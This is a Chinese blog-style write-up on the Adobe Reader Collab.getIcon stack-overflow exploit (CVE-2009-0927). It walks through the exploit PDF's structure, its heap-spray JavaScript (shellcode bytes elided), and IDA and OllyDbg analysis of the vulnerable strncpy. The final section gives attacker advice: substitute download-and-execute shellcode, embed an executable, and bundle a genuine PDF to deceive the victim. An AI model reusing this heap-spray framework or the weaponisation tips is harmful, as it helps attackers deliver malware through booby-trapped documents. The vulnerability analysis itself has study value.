忙活了几天,今天才有空来写点东西。好了,废话不多说,开始。。。
无意中在看雪看见已经有位叫pandascu兄弟针对这个漏洞分析写了一篇文章:
http://bbs.pediy.com/showthread.php?t=98139
文章写的很详细,我就在他的基础上扩展扩展。(昨天本来上看雪想加他好友跟他交流交流,可能因为我太水他没有理我)
首先,说说从哪拔exploit,当然是让人又爱又恨的milw0rm:
http://www.milw0rm.com/exploits/9579
从上面可以下载到 2009-CVE-2009-0927_package.zip
里面有几个文件一个说明,一式两份(一份pdf,一份doc),还有两个源代码evil_payload.c,evil_pdf.py,然后就是exploit文件一个pdf和一个dll,说明里面有详细介绍怎么用这些文件
我懒就不编译了,用现成的exploit文件,即CVE-2009-0927_exploit.pdf,至于那个DLL是shellcode运行后生成的,是用来提取shellcode中相关函数的,这个就不具体说了后面另开写shellcode的文章来说他的作用。
下面正式开始了,文章分4个部分来写:1.PDF文件格式;2.JavaScript脚本分析;3.调试;4.利用(exploit)
1.PDF文件格式
用ue打开pdf文件,直接就可以看到pdf文件的结构,这个文件构造的很简单,看来写这个exploit的大侠对pdf文件格式很是了解啊!(要不然怎么挖漏洞)。
这里我也就简单说下pdf的文件格式:
要点一:PDF文件是一种文本和二进制混排的格式,但是Adobe更愿意让人把它当成二进制的文件,所以在里面建议当文件里面的文本太多的时候,可以加一些二进制的注释,好让现有的一些编译器把它当成二进制文件。里面的文本主要是对文件结构的一种描述,二进制的内容来自于三个方面:1、图片;2、字体;3、压缩后的Post Script。
要点二:文件结构可以分为三方面:
1、首部。用文本编辑器打开的时候就可以看到:%PDF-1.4 这样的字眼,其中最后一位就是PDF文件格式版本号,软件的版本号总要比文件格式的版本号高1,比如说Read 5能打开的内容就是4。
2、文件体。里面有若干个的obj,以及xref来组成,OBJ这种形式。
3、文件尾。没有什么好说的。
下面我就这个exploit文件来具体解释下:
%PDF-1.1 //这一句也就是pdf的文件头 标示版本号1.1 //下面就是一堆object了 1 0 obj //1标示这个obj的序号用于在,0是用来标示不同的obj现在已经不管了都是0,obj是关键字 << //从这里开始各行就是obj的属性了 以“/关键字 值”的形式来出现 /Type /Catalog //额。。。说了这个obj的类型是目录catalog /Outlines 2 0 R //这个说了,第二个obj是outlines /Pages 3 0 R //这个就不解释了 因为。。。。 /OpenAction 7 0 R //因为我们看中的是这个 说了/OpenAction 在第7个obj >> endobj //这个obj完结了 //通过上面这个目录我们看到了最重要的东西/OpenAction 在第七个其他可以忽略了直接去第七个看看,我认为的/OpenAction意思应该是打开PDF时的行为,这里就是挂接JavaScript插件的 7 0 obj << /Type /Action /S /JavaScript //果然是啊,这才是真正的坏蛋,先不具体看它 把文件格式弄完再说 /JS ( var dll_payload ...... ....... app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor'); ) >> endobj //该xref出场了,这个就是obj的索引表 它会告诉你每个obj的具体位置(学名交叉应用表) xref 0 8 0000000000 65535 f 0000000010 00000 n 0000000098 00000 n 0000000147 00000 n 0000000208 00000 n 0000000400 00000 n 0000000549 00000 n 0000000663 00000 n trailer //对整个xref的摘要,说明里面有多少个OBJ,读的时候从哪个OBJ开始解析,信息节点 << /Size 8 // 说了 一共有8个xref 也跟上面的对应起来了 /Root 1 0 R //这就是第一个节点为什么是目录的原因了 >> startxref //告诉你xref是从哪开始的 同时也是文件尾 127077 //就是从这里 注意:里面的数字都是10进制记得转换啊 %%EOF //好了整个文件收尾了
2.JavaScript
这个是本漏洞的罪魁祸首,我们来分析分析它
var dll_payload = unescape("%u...");//这个不说了就是dll文件 var shellcode = unescape("% u 02 eb...");//shellcode 也不说了作用就是开个80口的shell garbage = unescape("% u90 90% u 90 90");//填充的nop块用来跳转用 你也可以用inc 1 dec1之类的来代替 while (garbage.length < 0x100) garbage += garbage; //将garbage搞大,0x100那么大 garbage += shellcode + dll_payload;//将shellcode和dll连接到后面形成个大数据块 nopblock = unescape("% u90 90 %u 90 90"); //又一个nop块 headersize = 16; acl = headersize + garbage.length; //加个16长的头 while (nopblock.length < acl) nopblock += nopblock; //把noplock扩大到前面的大数据块那么大 fillblock = nopblock.substring(0, acl); //精确化大小一个filllock block = nopblock.substring(0, nopblock.length - acl); while(block.length + acl < 0x26000) block = block + block + fillblock; //总之上面都是在弄一个0x26000大小的nop块,自己可以精简代码 memory = new Array(); /* ~500MB standalone, ~1GB firefox/IE */ for (i=0;i<1024;i++) memory[i] = block + garbage; //这几句是关键,就是堆喷射了 喷多大? 1024*(0x2600+acl) //JavaScript到这一句,在内存中已经把shellcode和nop块在堆中喷射好了,下面在buff中添地址的时候随便找个有喷射nop的地方就可以了 var buffer = unescape("%10%10%10%1f");//就是这个可以根据调试的具体情况换换 while(buffer.length < 0x6000) buffer += buffer; //又是申请一个地址块,看你怎么跑出手掌心 app.doc.Collab.getIcon(buffer+'pwn3D.BYkralor'); //这里就是关键点了,调用有漏洞的函数getIcon,给他传个buff,长度是0x6000+'pwn3D.BYkralor'.length
这个是pdf最近爆出的JavaScript漏洞的标准利用框架,当然研究过ActiveX漏洞的同学也应该了解,这个也是浏览器插件漏洞利用的标准利用框架,赤裸裸的调用问题函数。。。。。
3.调试
好了,这里和pandascu兄的差不多了 只说几个关键点:
漏洞描述
Adobe Acrobat和Reader没有正确地处理PDF文档中所包含的恶意JavaScript。如果向Collab对象的getIcon()方式提供了特制文件名参数,Adobe Acrobat/Reader plugins Annots.api模块的内部函数在处理这个超长文件名时就会发生栈溢出。
经过多方打探得知,JavaScript的运行是依靠Adobe pdf系列编辑和阅读软件的一个插件,一般可以用在打开或者关闭文件时,做些事,具体我也没有用过,只会这样做坏事的用。。。。插件的主体就是annots.api了
首先,静态的来吧,IDA上场:
把annots.api丢到IDA中,让他先闪一会
然后找到getIcon函数的位置了,这里我没有弄明白怎么能够准确找到位置,IDA不会用,哪个大虾指点我下。。。
这里就直接找到了一个经验贴:
弱点发生于模块内部函数Annots.2210FCE8,在处理geticon()方式提供的图标文件名,没有对文件名长度进行检查,直接拷贝进了缓冲区。
2210FDA2 | MOV ESI,0FF 2210FDA7 | PUSH ESI ; /n => FF (255.) 2210FDA8 | LEA EAX,DWORD PTR SS:[EBP+1B9] 2210FDAE | PUSH EBX ; |c 2210FDAF | PUSH EAX ; |s
.text:2211E8AD mov esi, 0FFh .text:2211E8B2 push esi ; size_t .text:2211E8B3 lea eax, [ebp+2BCh+var_103] .text:2211E8B9 push ebx ; int .text:2211E8BA push eax ; void * .text:2211E8BB mov [ebp+2BCh+var_104], bl .text:2211E8C1 call memset .text:2211E8C6 push esi ; size_t .text:2211E8C7 lea eax, [ebp+2BCh+var_203] .text:2211E8CD push ebx ; int .text:2211E8CE push eax ; void * .text:2211E8CF mov [ebp+2BCh+var_204], bl .text:2211E8D5 call memset .text:2211E8DA push esi ; size_t .text:2211E8DB lea eax, [ebp+2BCh+var_303] .text:2211E8DE push ebx ; int .text:2211E8DF push eax ; void * .text:2211E8E0 mov [ebp+2BCh+var_304], bl .text:2211E8E3 call memset .text:2211E8E8 push 2Eh ; int .text:2211E8EA push edi ; char * .text:2211E8EB call ds:__imp_strrchr .text:2211E8F1 mov esi, eax .text:2211E8F3 add esp, 2Ch .text:2211E8F6 cmp esi, ebx .text:2211E8F8 mov [ebp+2BCh+var_314], esi .text:2211E8FB jz loc_2211E9BF .text:2211E901 lea eax, [esi-1] .text:2211E904 push offset aNdh ; "NDH" .text:2211E909 push eax ; char * .text:2211E90A call ds:strpbrk .text:2211E910 pop ecx .text:2211E911 pop ecx .text:2211E912 lea ecx, [esi-1] .text:2211E915 cmp eax, ecx .text:2211E917 jnz loc_2211E9BF .text:2211E91D sub esi, edi .text:2211E91F dec esi .text:2211E920 push esi ; size_t .text:2211E921 push edi ; char * .text:2211E922 mov edi, ds:strncpy .text:2211E928 lea eax, [ebp+2BCh+var_104] .text:2211E92E push eax ; char * .text:2211E92F call edi ; strncpy 这里就是导致栈溢出的地方
下面OD登场:
因为前面知道这个函数的位置了 我们就可以用OD加载acrobat.exe后直接按ALT+E来找到annots.api的空间,找到getIcon的入口(不确定到底是不是),下断点(这里说下,大家最好用Adobe Acrobat Professional来测试,这样就可以控制JavaScript的启动,而且直接在里面编辑JavaScript脚本)。

先将断点禁止掉让acrobat.exe运行起来
点击acrobat中的 编辑---首选项---JavaScript 把“启用JavaScript”的钩点掉
然后打开exploit文件 会弹出如下对话框:

这个时候将断点激活,然后点“是”,就可以一步到达溢出位置了
后面,可以自行调试观察,FS:[0] 即异常处理回调函数地址是怎么被覆盖的,以及是怎么跳到,前面JavaScript里面的shellcode中的,这里我就不具体讲了。见pandascu兄的文章。
讲讲如何利用的吧!
4.利用(exploit)
这里剖析下坏人是怎么利用这个漏洞的,这个说白了就是取决于shellcode的功能了:
(1)下载执行类shellcode
这个就简单了,直接找个download&exec的shellcode放里面就可以了
(2)绑定exe型
例子里面都有把dll文件放里面了,这个也简单稍微修改下,把exe放进去,shellcode把exe文件释放出来然后运行即可,如果你想弄的逼真点可以再绑个正常的paf文件来迷惑对方
(3)这个自己可以利用专业版自己构造漏洞溢出文件,只是弄出来的带flatedecode编码而已,可以直接用专业版修改,也可以自己写zlib的解压程序来修改JavaScript,对照前面讲的pdf文件格式可以完成,在用专业版构造的时候你可以选择JavaScript的运行时机,打开页面或者关闭页面,这又印证了前面为什么是/OpenAnction了,
怎么防范,赶紧把JavaScript关了吧。。。。
好了就写这么多吧,本人很水,欢迎拍砖~~也欢迎大家跟我交流~~
